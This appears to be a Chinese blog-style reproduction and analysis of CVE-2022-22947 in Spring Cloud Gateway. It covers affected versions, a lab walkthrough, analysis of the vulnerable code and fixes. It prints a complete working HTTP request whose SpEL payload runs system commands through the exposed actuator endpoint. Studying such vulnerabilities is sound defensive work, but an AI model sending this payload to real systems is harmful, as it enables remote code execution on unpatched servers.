CVE-2022-22947 Spring Cloud Gateway远程代码执行

1 简介

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第1张图片

2 影响版本

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

3 前置知识

3.1 Spring Cloud Gateway

Spring Cloud Gateway的主要作用是负责将Web URI路由到所对应的微服务API,具体功能包括:智能路由、负载均衡、协议转换、权限校验、限流熔断、黑白名单、API监控、日志审计。
Spring Could Gateway上可以配置路由(Route)、断言(Predicate)和过滤器(Filter),本文分析的漏洞就是通过添加Filter触发的。

3.2 Spring Boot Actuator

Actuator负责对Spring其它组件进行监控和管理,包括健康检查、审计、统计和HTTP追踪等。本文所分析的漏洞就是通过Actuator对Gateway添加Filter,从而达到RCE的目的。
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第2张图片

3.3 Spring Expression Language

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码,优化代码结构。

4 漏洞复现

vulfocus开启靶场:
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第3张图片

首先确保actuator端口已开启
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第4张图片
通过/actuator/gateway/routes获得路由信息:
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第5张图片

这之后通过POST /actuator/gateway/routes/{id}以创建一个新的路由,并在其中加入payload:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

该payload调用了filter的参数并添加值,Spring Cloud Gateway 中的 Filter分为两种类型,分别是Gateway Filter和Global Filter。过滤器将会对请求和响应进行处理,比如添加参数、URL重写等。filter有着非常重要的作用,在“pre”类型的过滤器可以做参数校验、权限校验、流量监控、日志输出、协议转换等,在“post”类型的过滤器中可以做响应内容、响应头的修改,日志的输出,流量监控等。在微服务的上一层加一个全局的权限控制、限流、日志输出的Api Gatewat服务,然后再将请求转发到具体的业务服务层。
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第6张图片

之后进行刷新路由,使SpEL语句进行执行,并且查看路由可以发现添加并执行成功CVE-2022-22947 Spring Cloud Gateway远程代码执行_第7张图片
CVE-2022-22947 Spring Cloud Gateway远程代码执行_第8张图片

善后处理:

DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

5 漏洞分析

漏洞点在于最后调用的getValue函数

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
    Object value;
    String rawValue = entryValue;
    if (rawValue != null) {
      rawValue = rawValue.trim();
    }
    if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
      // assume it's spel
      StandardEvaluationContext context = new StandardEvaluationContext();
      context.setBeanResolver(new BeanFactoryResolver(beanFactory));
      Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
      value = expression.getValue(context);
    }
    else {
      value = entryValue;
    }
    return value;
  }

存在SpEL注入的原因是使用了StandardEvaluationContext 来设置上下文。在SpEL中,SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
关键点有两个:

(1)StandardEvaluationContext支持全部SpEL语法,可以调用任意类方法;

(2)不指定EvaluationContext时,默认采用****StandardEvaluationContext

所以该漏洞出现的根本原因,就是使用StandardEvaluationContext设置了上下文,使SpEL表达式能够任意执行,而又未对用户输入做相应的限制。

6 修复方案

1、升级更新到以下版本:

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7

2、缓解措施:

(1)如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

(2)如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

你可能感兴趣的:(漏洞复现,java,web安全,spring,cloud,漏洞复现)